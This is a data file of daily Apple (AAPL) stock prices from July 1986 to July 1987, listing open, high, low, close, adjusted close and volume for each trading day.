-1986-07-10,0.6205357313156128,0.6316964030265808,0.6183035969734192,0.6316964030265808,0.5017058849334717,52141600.0,AAPL -1986-07-11,0.6316964030265808,0.6741071343421936,0.6294642686843872,0.6629464030265808,0.5265251994132996,56000000.0,AAPL -1986-07-14,0.6629464030265808,0.6674107313156128,0.6473214030265808,0.6473214030265808,0.5141157507896423,59360000.0,AAPL -1986-07-15,0.625,0.625,0.6116071343421936,0.6227678656578064,0.494614839553833,74480000.0,AAPL -1986-07-16,0.6339285969734192,0.6361607313156128,0.5848214030265808,0.5982142686843872,0.47511371970176697,134960000.0,AAPL -1986-07-17,0.5982142686843872,0.6026785969734192,0.5736607313156128,0.5758928656578064,0.4573856592178345,62720000.0,AAPL -1986-07-18,0.5758928656578064,0.5803571343421936,0.5580357313156128,0.5669642686843872,0.4502944052219391,77280000.0,AAPL -1986-07-21,0.5892857313156128,0.6026785969734192,0.5848214030265808,0.5982142686843872,0.47511371970176697,57120000.0,AAPL -1986-07-22,0.5982142686843872,0.6183035969734192,0.59375,0.6183035969734192,0.49106916785240173,59920000.0,AAPL -1986-07-23,0.6183035969734192,0.6183035969734192,0.609375,0.609375,0.4839777946472168,44872800.0,AAPL -1986-07-24,0.6116071343421936,0.6138392686843872,0.5892857313156128,0.5915178656578064,0.469795286655426,36142400.0,AAPL -1986-07-25,0.5915178656578064,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.48220518231391907,54364800.0,AAPL -1986-07-28,0.6049107313156128,0.6071428656578064,0.5758928656578064,0.578125,0.45915842056274414,61600000.0,AAPL -1986-07-29,0.5758928656578064,0.5758928656578064,0.5491071343421936,0.5580357313156128,0.4432031214237213,148960000.0,AAPL -1986-07-30,0.5580357313156128,0.5625,0.5357142686843872,0.5446428656578064,0.4325663149356842,63840000.0,AAPL -1986-07-31,0.5446428656578064,0.5625,0.5446428656578064,0.5580357313156128,0.4432031214237213,70560000.0,AAPL -1986-08-01,0.5558035969734192,0.5669642686843872,0.5558035969734192,0.5602678656578064,0.44497600197792053,37520000.0,AAPL -1986-08-04,0.5602678656578064,0.5625,0.546875,0.5625,0.4467487037181854,32541600.0,AAPL -1986-08-05,0.5647321343421936,0.578125,0.5625,0.5736607313156128,0.45561301708221436,29472800.0,AAPL -1986-08-06,0.5736607313156128,0.5736607313156128,0.5535714030265808,0.5558035969734192,0.4414304792881012,46300800.0,AAPL -1986-08-07,0.5558035969734192,0.5825892686843872,0.5558035969734192,0.5669642686843872,0.4502944052219391,43349600.0,AAPL -1986-08-08,0.5691964030265808,0.578125,0.5647321343421936,0.5647321343421936,0.4485216736793518,27535200.0,AAPL -1986-08-11,0.5691964030265808,0.5982142686843872,0.5669642686843872,0.5982142686843872,0.47511371970176697,45858400.0,AAPL -1986-08-12,0.5959821343421936,0.6138392686843872,0.5959821343421936,0.6116071343421936,0.4857509136199951,61040000.0,AAPL -1986-08-13,0.6116071343421936,0.6473214030265808,0.6116071343421936,0.6428571343421936,0.5105700492858887,113680000.0,AAPL -1986-08-14,0.6428571343421936,0.6607142686843872,0.6428571343421936,0.6428571343421936,0.5105700492858887,57680000.0,AAPL -1986-08-15,0.6450892686843872,0.6517857313156128,0.6361607313156128,0.6383928656578064,0.5070245862007141,34294400.0,AAPL -1986-08-18,0.6383928656578064,0.640625,0.625,0.6316964030265808,0.5017058849334717,36836800.0,AAPL -1986-08-19,0.6272321343421936,0.6339285969734192,0.6183035969734192,0.6316964030265808,0.5017058849334717,34445600.0,AAPL -1986-08-20,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6473214030265808,0.5141157507896423,42828800.0,AAPL -1986-08-21,0.6450892686843872,0.6495535969734192,0.6383928656578064,0.6383928656578064,0.5070245862007141,48664000.0,AAPL -1986-08-22,0.640625,0.6540178656578064,0.640625,0.6473214030265808,0.5141157507896423,28929600.0,AAPL -1986-08-25,0.6517857313156128,0.6584821343421936,0.6495535969734192,0.6495535969734192,0.5158885717391968,31600800.0,AAPL -1986-08-26,0.6495535969734192,0.6584821343421936,0.6495535969734192,0.6540178656578064,0.5194342136383057,32810400.0,AAPL -1986-08-27,0.6540178656578064,0.6607142686843872,0.6473214030265808,0.6607142686843872,0.5247524976730347,36758400.0,AAPL -1986-08-28,0.6607142686843872,0.6785714030265808,0.6584821343421936,0.6741071343421936,0.5353891253471375,54924800.0,AAPL -1986-08-29,0.671875,0.6785714030265808,0.6584821343421936,0.6607142686843872,0.5247524976730347,33807200.0,AAPL -1986-09-02,0.6629464030265808,0.6629464030265808,0.6205357313156128,0.6205357313156128,0.4928419888019562,58240000.0,AAPL -1986-09-03,0.6205357313156128,0.6227678656578064,0.609375,0.6205357313156128,0.4928419888019562,29372000.0,AAPL -1986-09-04,0.625,0.6339285969734192,0.6205357313156128,0.6339285969734192,0.50347900390625,49700000.0,AAPL -1986-09-05,0.6361607313156128,0.640625,0.625,0.6272321343421936,0.4981604516506195,24623200.0,AAPL -1986-09-08,0.625,0.625,0.6004464030265808,0.6205357313156128,0.4928419888019562,31550400.0,AAPL -1986-09-09,0.6183035969734192,0.6428571343421936,0.6183035969734192,0.6383928656578064,0.5070245862007141,37693600.0,AAPL -1986-09-10,0.6361607313156128,0.640625,0.6205357313156128,0.625,0.4963875114917755,18916800.0,AAPL -1986-09-11,0.6183035969734192,0.6205357313156128,0.5803571343421936,0.5825892686843872,0.46270424127578735,33588800.0,AAPL -1986-09-12,0.5803571343421936,0.5848214030265808,0.5669642686843872,0.5669642686843872,0.4502944052219391,57120000.0,AAPL -1986-09-15,0.5758928656578064,0.5915178656578064,0.5714285969734192,0.5915178656578064,0.469795286655426,55680800.0,AAPL -1986-09-16,0.5915178656578064,0.6272321343421936,0.5803571343421936,0.6227678656578064,0.494614839553833,61600000.0,AAPL -1986-09-17,0.6227678656578064,0.625,0.6116071343421936,0.6116071343421936,0.4857509136199951,29215200.0,AAPL -1986-09-18,0.6116071343421936,0.6160714030265808,0.6026785969734192,0.6071428656578064,0.48220518231391907,24757600.0,AAPL -1986-09-19,0.6026785969734192,0.6049107313156128,0.59375,0.6004464030265808,0.4768866300582886,31903200.0,AAPL -1986-09-22,0.5982142686843872,0.6316964030265808,0.5982142686843872,0.6294642686843872,0.499933123588562,59920000.0,AAPL -1986-09-23,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6450892686843872,0.5123429298400879,84560000.0,AAPL -1986-09-24,0.6450892686843872,0.6495535969734192,0.6071428656578064,0.6272321343421936,0.4981604516506195,44217600.0,AAPL -1986-09-25,0.6272321343421936,0.6294642686843872,0.6004464030265808,0.6160714030265808,0.4892963469028473,46950400.0,AAPL -1986-09-26,0.609375,0.6138392686843872,0.6049107313156128,0.6116071343421936,0.4857509136199951,17505600.0,AAPL -1986-09-29,0.6004464030265808,0.6049107313156128,0.5647321343421936,0.5803571343421936,0.4609312117099762,52236800.0,AAPL -1986-09-30,0.5870535969734192,0.6049107313156128,0.5825892686843872,0.5982142686843872,0.47511371970176697,45197600.0,AAPL -1986-10-01,0.5959821343421936,0.6160714030265808,0.5959821343421936,0.609375,0.4839777946472168,34647200.0,AAPL -1986-10-02,0.6026785969734192,0.6138392686843872,0.5982142686843872,0.609375,0.4839777946472168,23704800.0,AAPL -1986-10-03,0.6138392686843872,0.6205357313156128,0.5959821343421936,0.6026785969734192,0.47865942120552063,34686400.0,AAPL -1986-10-06,0.6026785969734192,0.6116071343421936,0.6004464030265808,0.609375,0.4839777946472168,23626400.0,AAPL -1986-10-07,0.6071428656578064,0.609375,0.5870535969734192,0.5892857313156128,0.46802276372909546,31998400.0,AAPL -1986-10-08,0.5870535969734192,0.5892857313156128,0.5758928656578064,0.5848214030265808,0.4644768536090851,27893600.0,AAPL -1986-10-09,0.5848214030265808,0.59375,0.5825892686843872,0.5892857313156128,0.46802276372909546,19488000.0,AAPL -1986-10-10,0.5870535969734192,0.5959821343421936,0.578125,0.59375,0.4715679883956909,14632800.0,AAPL -1986-10-13,0.5915178656578064,0.6183035969734192,0.5892857313156128,0.6183035969734192,0.49106916785240173,24920000.0,AAPL -1986-10-14,0.6183035969734192,0.6294642686843872,0.6026785969734192,0.6071428656578064,0.48220518231391907,49834400.0,AAPL -1986-10-15,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5959821343421936,0.4733408987522125,51352000.0,AAPL -1986-10-16,0.5959821343421936,0.6049107313156128,0.59375,0.6004464030265808,0.4768866300582886,33941600.0,AAPL -1986-10-17,0.6026785969734192,0.6071428656578064,0.5959821343421936,0.6004464030265808,0.4768866300582886,37968000.0,AAPL -1986-10-20,0.5982142686843872,0.6004464030265808,0.5870535969734192,0.5870535969734192,0.46624982357025146,37245600.0,AAPL -1986-10-21,0.5892857313156128,0.5892857313156128,0.5825892686843872,0.5848214030265808,0.4644768536090851,28431200.0,AAPL -1986-10-22,0.5848214030265808,0.5870535969734192,0.5758928656578064,0.5803571343421936,0.4609312117099762,23620800.0,AAPL -1986-10-23,0.5803571343421936,0.5915178656578064,0.5803571343421936,0.5915178656578064,0.469795286655426,30783200.0,AAPL -1986-10-24,0.5915178656578064,0.59375,0.5848214030265808,0.5892857313156128,0.46802276372909546,18832800.0,AAPL -1986-10-27,0.5982142686843872,0.6071428656578064,0.59375,0.6071428656578064,0.48220518231391907,37800000.0,AAPL -1986-10-28,0.6071428656578064,0.609375,0.5892857313156128,0.5959821343421936,0.4733408987522125,35560000.0,AAPL -1986-10-29,0.5982142686843872,0.5982142686843872,0.5915178656578064,0.5959821343421936,0.4733408987522125,21358400.0,AAPL -1986-10-30,0.5982142686843872,0.6205357313156128,0.5959821343421936,0.6116071343421936,0.4857509136199951,73360000.0,AAPL -1986-10-31,0.6116071343421936,0.6227678656578064,0.6116071343421936,0.6183035969734192,0.49106916785240173,30324000.0,AAPL -1986-11-03,0.6205357313156128,0.6272321343421936,0.6183035969734192,0.625,0.4963875114917755,37956800.0,AAPL -1986-11-04,0.6227678656578064,0.640625,0.6049107313156128,0.6383928656578064,0.5070245862007141,61600000.0,AAPL -1986-11-05,0.6383928656578064,0.6629464030265808,0.6339285969734192,0.6607142686843872,0.5247524976730347,156240000.0,AAPL -1986-11-06,0.6540178656578064,0.6584821343421936,0.6383928656578064,0.6450892686843872,0.5123429298400879,82880000.0,AAPL -1986-11-07,0.6428571343421936,0.6450892686843872,0.6227678656578064,0.6383928656578064,0.5070245862007141,35789600.0,AAPL -1986-11-10,0.640625,0.640625,0.6272321343421936,0.6316964030265808,0.5017058849334717,26471200.0,AAPL -1986-11-11,0.6339285969734192,0.6383928656578064,0.6294642686843872,0.6339285969734192,0.50347900390625,12544000.0,AAPL -1986-11-12,0.6383928656578064,0.6540178656578064,0.6361607313156128,0.6540178656578064,0.5194342136383057,32748800.0,AAPL -1986-11-13,0.6517857313156128,0.6517857313156128,0.6339285969734192,0.6339285969734192,0.50347900390625,34378400.0,AAPL -1986-11-14,0.6339285969734192,0.6339285969734192,0.6227678656578064,0.6294642686843872,0.499933123588562,33779200.0,AAPL -1986-11-17,0.6294642686843872,0.6607142686843872,0.625,0.6495535969734192,0.5158885717391968,35420000.0,AAPL -1986-11-18,0.6495535969734192,0.65625,0.6272321343421936,0.6316964030265808,0.5017058849334717,42515200.0,AAPL -1986-11-19,0.6272321343421936,0.6294642686843872,0.6160714030265808,0.625,0.4963875114917755,75600000.0,AAPL -1986-11-20,0.6227678656578064,0.6316964030265808,0.6227678656578064,0.6294642686843872,0.499933123588562,73920000.0,AAPL -1986-11-21,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.5105700492858887,71680000.0,AAPL -1986-11-24,0.6473214030265808,0.6808035969734192,0.6428571343421936,0.6785714030265808,0.5389349460601807,94080000.0,AAPL -1986-11-25,0.6785714030265808,0.7209821343421936,0.6785714030265808,0.71875,0.5708456635475159,212240000.0,AAPL -1986-11-26,0.7165178656578064,0.7366071343421936,0.7142857313156128,0.7232142686843872,0.5743916034698486,126560000.0,AAPL -1986-11-28,0.7232142686843872,0.7254464030265808,0.7075892686843872,0.7142857313156128,0.5673001408576965,55137600.0,AAPL -1986-12-01,0.7142857313156128,0.7165178656578064,0.6986607313156128,0.7165178656578064,0.569072961807251,86800000.0,AAPL -1986-12-02,0.7232142686843872,0.7455357313156128,0.7142857313156128,0.7410714030265808,0.5885738134384155,92400000.0,AAPL -1986-12-03,0.7433035969734192,0.7678571343421936,0.7410714030265808,0.7633928656578064,0.6063020825386047,84000000.0,AAPL -1986-12-04,0.7611607313156128,0.7633928656578064,0.75,0.7589285969734192,0.6027565002441406,67200000.0,AAPL -1986-12-05,0.7611607313156128,0.78125,0.7589285969734192,0.78125,0.6204845309257507,65520000.0,AAPL -1986-12-08,0.7790178656578064,0.7834821343421936,0.7566964030265808,0.7589285969734192,0.6027565002441406,86800000.0,AAPL -1986-12-09,0.7566964030265808,0.7611607313156128,0.734375,0.7566964030265808,0.6009835600852966,75600000.0,AAPL -1986-12-10,0.7566964030265808,0.78125,0.75,0.7767857313156128,0.6169390082359314,61040000.0,AAPL -1986-12-11,0.7790178656578064,0.7834821343421936,0.7611607313156128,0.765625,0.6080747246742249,56560000.0,AAPL -1986-12-12,0.765625,0.7678571343421936,0.7366071343421936,0.7366071343421936,0.5850280523300171,45029600.0,AAPL -1986-12-15,0.7321428656578064,0.7455357313156128,0.7209821343421936,0.7455357313156128,0.5921195149421692,52264800.0,AAPL -1986-12-16,0.7433035969734192,0.7589285969734192,0.7433035969734192,0.7589285969734192,0.6027565002441406,37984800.0,AAPL -1986-12-17,0.7566964030265808,0.7589285969734192,0.7299107313156128,0.7366071343421936,0.5850280523300171,37777600.0,AAPL -1986-12-18,0.734375,0.7477678656578064,0.7276785969734192,0.7388392686843872,0.5868011116981506,43764000.0,AAPL -1986-12-19,0.7388392686843872,0.7589285969734192,0.7388392686843872,0.7522321343421936,0.597437858581543,49772800.0,AAPL -1986-12-22,0.75,0.7589285969734192,0.7455357313156128,0.7522321343421936,0.597437858581543,41092800.0,AAPL -1986-12-23,0.7544642686843872,0.7566964030265808,0.7477678656578064,0.7522321343421936,0.597437858581543,61040000.0,AAPL -1986-12-24,0.75,0.7522321343421936,0.7433035969734192,0.7477678656578064,0.5938920974731445,23940000.0,AAPL -1986-12-26,0.7477678656578064,0.7477678656578064,0.7321428656578064,0.7321428656578064,0.5814827680587769,22467200.0,AAPL -1986-12-29,0.7321428656578064,0.734375,0.71875,0.7232142686843872,0.5743916034698486,29411200.0,AAPL -1986-12-30,0.7232142686843872,0.7410714030265808,0.7209821343421936,0.7321428656578064,0.5814827680587769,37038400.0,AAPL -1986-12-31,0.7321428656578064,0.7388392686843872,0.7209821343421936,0.7232142686843872,0.5743916034698486,33140800.0,AAPL -1987-01-02,0.7209821343421936,0.734375,0.7165178656578064,0.7299107313156128,0.5797098278999329,30217600.0,AAPL -1987-01-05,0.7366071343421936,0.7723214030265808,0.7321428656578064,0.7678571343421936,0.6098476648330688,59920000.0,AAPL -1987-01-06,0.7700892686843872,0.7857142686843872,0.7611607313156128,0.78125,0.6204845309257507,81200000.0,AAPL -1987-01-07,0.7834821343421936,0.8013392686843872,0.7790178656578064,0.7991071343421936,0.6346669793128967,108640000.0,AAPL -1987-01-08,0.7991071343421936,0.8058035969734192,0.7946428656578064,0.7991071343421936,0.6346669793128967,72800000.0,AAPL -1987-01-09,0.7991071343421936,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.6435309648513794,59920000.0,AAPL -1987-01-12,0.8125,0.8169642686843872,0.7991071343421936,0.8125,0.6453037858009338,58240000.0,AAPL -1987-01-13,0.8058035969734192,0.8102678656578064,0.796875,0.796875,0.6328939199447632,52931200.0,AAPL -1987-01-14,0.796875,0.8616071343421936,0.7946428656578064,0.859375,0.6825330853462219,126000000.0,AAPL -1987-01-15,0.8616071343421936,0.9174107313156128,0.8571428656578064,0.890625,0.7073523998260498,136640000.0,AAPL -1987-01-16,0.8928571343421936,0.8928571343421936,0.8526785969734192,0.8705357313156128,0.6913970112800598,101920000.0,AAPL -1987-01-19,0.8705357313156128,0.9486607313156128,0.8549107313156128,0.9486607313156128,0.753445565700531,90720000.0,AAPL -1987-01-20,0.9821428656578064,0.9955357313156128,0.9196428656578064,0.921875,0.7321717143058777,193760000.0,AAPL -1987-01-21,0.9084821343421936,0.9129464030265808,0.875,0.875,0.6949427127838135,133280000.0,AAPL -1987-01-22,0.8727678656578064,0.9397321343421936,0.8660714030265808,0.9375,0.7445815205574036,118160000.0,AAPL -1987-01-23,0.9375,0.9464285969734192,0.8973214030265808,0.8973214030265808,0.7126709818840027,114800000.0,AAPL -1987-01-26,0.8928571343421936,0.9017857313156128,0.8839285969734192,0.8883928656578064,0.7055795788764954,87920000.0,AAPL -1987-01-27,0.8928571343421936,0.9486607313156128,0.890625,0.9419642686843872,0.7481270432472229,94640000.0,AAPL -1987-01-28,0.9464285969734192,0.9955357313156128,0.9308035969734192,0.9888392686843872,0.7853561043739319,103600000.0,AAPL -1987-01-29,0.9977678656578064,1.0223214626312256,0.953125,0.9665178656578064,0.7676281929016113,139440000.0,AAPL -1987-01-30,0.9642857313156128,0.9977678656578064,0.9397321343421936,0.9910714030265808,0.7871286869049072,102480000.0,AAPL -1987-02-02,0.9910714030265808,1.0,0.96875,0.9977678656578064,0.7924472689628601,61600000.0,AAPL -1987-02-03,1.0,1.0022321939468384,0.9776785969734192,0.9910714030265808,0.7871286869049072,44654400.0,AAPL -1987-02-04,0.9910714030265808,0.9910714030265808,0.9709821343421936,0.9821428656578064,0.7800377607345581,54460000.0,AAPL -1987-02-05,0.9821428656578064,0.984375,0.9486607313156128,0.9620535969734192,0.7640822529792786,85120000.0,AAPL -1987-02-06,0.9642857313156128,0.9642857313156128,0.9441964030265808,0.9642857313156128,0.7658553123474121,73360000.0,AAPL -1987-02-09,0.9441964030265808,0.953125,0.9330357313156128,0.9397321343421936,0.7463544607162476,39250400.0,AAPL -1987-02-10,0.9375,0.9419642686843872,0.921875,0.9419642686843872,0.7481270432472229,41697600.0,AAPL -1987-02-11,0.9464285969734192,1.0133928060531616,0.9419642686843872,1.0089285373687744,0.8013114929199219,85680000.0,AAPL -1987-02-12,1.0178571939468384,1.0691964626312256,1.0178571939468384,1.046875,0.8314489722251892,177520000.0,AAPL -1987-02-13,1.046875,1.1160714626312256,1.0357142686843872,1.109375,0.8810877799987793,127680000.0,AAPL -1987-02-17,1.109375,1.1875,1.1049107313156128,1.1852678060531616,0.9413633346557617,102480000.0,AAPL -1987-02-18,1.1897321939468384,1.203125,1.1316964626312256,1.1339285373687744,0.9005888104438782,117600000.0,AAPL -1987-02-19,1.1339285373687744,1.1339285373687744,1.1026785373687744,1.1138392686843872,0.8846335411071777,78400000.0,AAPL -1987-02-20,1.1138392686843872,1.1160714626312256,1.0825892686843872,1.09375,0.8686781525611877,47661600.0,AAPL -1987-02-23,1.0870535373687744,1.1473214626312256,1.0647321939468384,1.1272321939468384,0.895270586013794,87920000.0,AAPL -1987-02-24,1.1294642686843872,1.1785714626312256,1.1272321939468384,1.1696428060531616,0.9289537072181702,89040000.0,AAPL -1987-02-25,1.1696428060531616,1.2410714626312256,1.1540178060531616,1.234375,0.9803653359413147,113680000.0,AAPL -1987-02-26,1.2410714626312256,1.2745535373687744,1.2142857313156128,1.234375,0.9803653359413147,124880000.0,AAPL -1987-02-27,1.234375,1.2678571939468384,1.2098214626312256,1.25,0.992775022983551,101360000.0,AAPL -1987-03-02,1.2544642686843872,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9573188424110413,99120000.0,AAPL -1987-03-03,1.2053571939468384,1.2165178060531616,1.15625,1.1607142686843872,0.9218624234199524,109200000.0,AAPL -1987-03-04,1.1741071939468384,1.21875,1.1674107313156128,1.2075892686843872,0.9590915441513062,112000000.0,AAPL -1987-03-05,1.2053571939468384,1.2321428060531616,1.2008928060531616,1.2232142686843872,0.9715018272399902,84560000.0,AAPL -1987-03-06,1.2008928060531616,1.2209821939468384,1.1919642686843872,1.2008928060531616,0.9537732601165771,44094400.0,AAPL -1987-03-09,1.1875,1.1919642686843872,1.1517857313156128,1.1540178060531616,0.9165441393852234,63840000.0,AAPL -1987-03-10,1.1517857313156128,1.1941964626312256,1.1517857313156128,1.1919642686843872,0.946681797504425,61040000.0,AAPL -1987-03-11,1.2008928060531616,1.2142857313156128,1.1830357313156128,1.1830357313156128,0.939590573310852,54616800.0,AAPL -1987-03-12,1.1785714626312256,1.1830357313156128,1.1361607313156128,1.1651785373687744,0.9254084825515747,75600000.0,AAPL -1987-03-13,1.1651785373687744,1.1785714626312256,1.1339285373687744,1.1339285373687744,0.9005888104438782,49403200.0,AAPL -1987-03-16,1.1339285373687744,1.1651785373687744,1.1160714626312256,1.1651785373687744,0.9254084825515747,61600000.0,AAPL -1987-03-17,1.1696428060531616,1.2142857313156128,1.1607142686843872,1.1964285373687744,0.9502274394035339,61040000.0,AAPL -1987-03-18,1.2008928060531616,1.2053571939468384,1.15625,1.1785714626312256,0.9360455274581909,75600000.0,AAPL -1987-03-19,1.1741071939468384,1.2232142686843872,1.1696428060531616,1.2209821939468384,0.9697287678718567,51682400.0,AAPL -1987-03-20,1.21875,1.2455357313156128,1.21875,1.21875,0.9679555892944336,86800000.0,AAPL -1987-03-23,1.2142857313156128,1.21875,1.1830357313156128,1.2053571939468384,0.9573188424110413,61600000.0,AAPL -1987-03-24,1.2098214626312256,1.2232142686843872,1.1830357313156128,1.1830357313156128,0.939590573310852,67200000.0,AAPL -1987-03-25,1.1875,1.1964285373687744,1.1651785373687744,1.1919642686843872,0.946681797504425,68320000.0,AAPL -1987-03-26,1.1919642686843872,1.2098214626312256,1.1875,1.2008928060531616,0.9537732601165771,35756000.0,AAPL -1987-03-27,1.2008928060531616,1.2053571939468384,1.15625,1.1607142686843872,0.9218624234199524,33476800.0,AAPL -1987-03-30,1.1339285373687744,1.1473214626312256,1.1116071939468384,1.1160714626312256,0.8864062428474426,64960000.0,AAPL -1987-03-31,1.1116071939468384,1.15625,1.1116071939468384,1.1517857313156128,0.914771318435669,68320000.0,AAPL -1987-04-01,1.125,1.1964285373687744,1.1138392686843872,1.1919642686843872,0.946681797504425,54465600.0,AAPL -1987-04-02,1.21875,1.28125,1.1964285373687744,1.28125,1.017594337463379,194320000.0,AAPL -1987-04-03,1.2767857313156128,1.2834821939468384,1.2544642686843872,1.28125,1.017594337463379,134960000.0,AAPL -1987-04-06,1.2767857313156128,1.2991071939468384,1.2366071939468384,1.25,0.992775022983551,72240000.0,AAPL -1987-04-07,1.2455357313156128,1.2544642686843872,1.2098214626312256,1.2098214626312256,0.9608646631240845,64960000.0,AAPL -1987-04-08,1.2098214626312256,1.2544642686843872,1.2053571939468384,1.2321428060531616,0.9785926938056946,57680000.0,AAPL -1987-04-09,1.2276785373687744,1.2767857313156128,1.2098214626312256,1.2678571939468384,1.0069580078125,59360000.0,AAPL -1987-04-10,1.2723214626312256,1.2767857313156128,1.2455357313156128,1.2544642686843872,0.996320903301239,54460000.0,AAPL -1987-04-13,1.25,1.2544642686843872,1.2053571939468384,1.2053571939468384,0.9573188424110413,35554400.0,AAPL -1987-04-14,1.1919642686843872,1.2455357313156128,1.1875,1.2142857313156128,0.9644103646278381,101920000.0,AAPL -1987-04-15,1.2410714626312256,1.2678571939468384,1.2276785373687744,1.2678571939468384,1.0069580078125,87360000.0,AAPL -1987-04-16,1.2723214626312256,1.3080357313156128,1.2678571939468384,1.2767857313156128,1.0140491724014282,86800000.0,AAPL -1987-04-20,1.2767857313156128,1.2991071939468384,1.2633928060531616,1.2700892686843872,1.008730411529541,37290400.0,AAPL -1987-04-21,1.2544642686843872,1.3392857313156128,1.2410714626312256,1.3348214626312256,1.0601423978805542,108080000.0,AAPL -1987-04-22,1.3683035373687744,1.375,1.3214285373687744,1.3258928060531616,1.0530503988265991,100800000.0,AAPL -1987-04-23,1.3258928060531616,1.3794642686843872,1.3258928060531616,1.3571428060531616,1.0778698921203613,76160000.0,AAPL -1987-04-24,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.3348214626312256,1.0601423978805542,63840000.0,AAPL -1987-04-27,1.3258928060531616,1.34375,1.3080357313156128,1.3392857313156128,1.0636875629425049,95760000.0,AAPL -1987-04-28,1.3526785373687744,1.390625,1.3482142686843872,1.375,1.0920524597167969,81200000.0,AAPL -1987-04-29,1.3794642686843872,1.4241071939468384,1.375,1.3883928060531616,1.1026897430419922,72800000.0,AAPL -1987-04-30,1.3928571939468384,1.4285714626312256,1.3883928060531616,1.4151785373687744,1.1239632368087769,63280000.0,AAPL -1987-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4285714626312256,1.134600281715393,33180000.0,AAPL -1987-05-04,1.4196428060531616,1.4330357313156128,1.4107142686843872,1.4241071939468384,1.1310546398162842,35526400.0,AAPL -1987-05-05,1.4285714626312256,1.4419642686843872,1.3928571939468384,1.4330357313156128,1.138145923614502,57680000.0,AAPL -1987-05-06,1.4375,1.46875,1.4151785373687744,1.4285714626312256,1.134600281715393,71680000.0,AAPL -1987-05-07,1.4241071939468384,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.138145923614502,45197600.0,AAPL -1987-05-08,1.4375,1.4464285373687744,1.4107142686843872,1.4107142686843872,1.1204177141189575,46183200.0,AAPL -1987-05-11,1.375,1.4196428060531616,1.3705357313156128,1.375,1.0937116146087646,49319200.0,AAPL -1987-05-12,1.3571428060531616,1.3660714626312256,1.3392857313156128,1.3482142686843872,1.0724049806594849,64960000.0,AAPL -1987-05-13,1.3526785373687744,1.4040178060531616,1.3482142686843872,1.4017857313156128,1.1150180101394653,77840000.0,AAPL -1987-05-14,1.3973214626312256,1.4196428060531616,1.3973214626312256,1.4151785373687744,1.1256707906723022,37122400.0,AAPL -1987-05-15,1.4151785373687744,1.4151785373687744,1.3928571939468384,1.3973214626312256,1.1114667654037476,36489600.0,AAPL -1987-05-18,1.3973214626312256,1.4017857313156128,1.3482142686843872,1.3526785373687744,1.0759564638137817,60480000.0,AAPL -1987-05-19,1.3526785373687744,1.3526785373687744,1.296875,1.3080357313156128,1.0404467582702637,59920000.0,AAPL -1987-05-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.0582019090652466,72240000.0,AAPL -1987-05-21,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3303571939468384,1.0582019090652466,43450400.0,AAPL -1987-05-22,1.3392857313156128,1.3482142686843872,1.3169642686843872,1.3236607313156128,1.0528748035430908,24276000.0,AAPL -1987-05-26,1.3303571939468384,1.3928571939468384,1.3214285373687744,1.3928571939468384,1.1079161167144775,38063200.0,AAPL -1987-05-27,1.3928571939468384,1.4330357313156128,1.3839285373687744,1.4196428060531616,1.12922203540802,45175200.0,AAPL -1987-05-28,1.4196428060531616,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.1363239288330078,37805600.0,AAPL -1987-05-29,1.4330357313156128,1.4375,1.4107142686843872,1.4107142686843872,1.1221200227737427,23150400.0,AAPL -1987-06-01,1.4196428060531616,1.4196428060531616,1.3839285373687744,1.3883928060531616,1.1043649911880493,20826400.0,AAPL -1987-06-02,1.3839285373687744,1.3928571939468384,1.375,1.3794642686843872,1.0972627401351929,34372800.0,AAPL -1987-06-03,1.3794642686843872,1.4196428060531616,1.3794642686843872,1.3883928060531616,1.1043649911880493,42828800.0,AAPL -1987-06-04,1.3928571939468384,1.40625,1.375,1.4017857313156128,1.1150180101394653,38399200.0,AAPL -1987-06-05,1.40625,1.40625,1.3883928060531616,1.3883928060531616,1.1043649911880493,32732000.0,AAPL -1987-06-08,1.3883928060531616,1.3928571939468384,1.3705357313156128,1.3883928060531616,1.1043649911880493,50461600.0,AAPL -1987-06-09,1.3839285373687744,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1150180101394653,31763200.0,AAPL -1987-06-10,1.40625,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.1150180101394653,36556800.0,AAPL -1987-06-11,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4107142686843872,1.1221200227737427,31343200.0,AAPL -1987-06-12,1.4107142686843872,1.4241071939468384,1.40625,1.4107142686843872,1.1221200227737427,25440800.0,AAPL -1987-06-15,1.4107142686843872,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1150180101394653,64960000.0,AAPL -1987-06-16,1.4821428060531616,1.4910714626312256,1.3571428060531616,1.4821428060531616,1.1789361238479614,85680000.0,AAPL -1987-06-17,1.4821428060531616,1.5178571939468384,1.4285714626312256,1.4464285373687744,1.1505284309387207,74480000.0,AAPL -1987-06-18,1.4375,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.1789361238479614,57400000.0,AAPL -1987-06-19,1.4821428060531616,1.4910714626312256,1.4419642686843872,1.4642857313156128,1.1647323369979858,31360000.0,AAPL -1987-06-22,1.4732142686843872,1.5089285373687744,1.4598214626312256,1.5,1.1931405067443848,42280000.0,AAPL -1987-06-23,1.5,1.5044642686843872,1.4553571939468384,1.4732142686843872,1.1718337535858154,20213200.0,AAPL -1987-06-24,1.4821428060531616,1.5446428060531616,1.4464285373687744,1.5,1.1931405067443848,29680000.0,AAPL -1987-06-25,1.5,1.5178571939468384,1.4464285373687744,1.4464285373687744,1.1505284309387207,30240000.0,AAPL -1987-06-26,1.4553571939468384,1.4821428060531616,1.4285714626312256,1.4464285373687744,1.1505284309387207,31920000.0,AAPL -1987-06-29,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4553571939468384,1.1576300859451294,25326000.0,AAPL -1987-06-30,1.4464285373687744,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.1505284309387207,36120000.0,AAPL -1987-07-01,1.4553571939468384,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.1363239288330078,23707600.0,AAPL 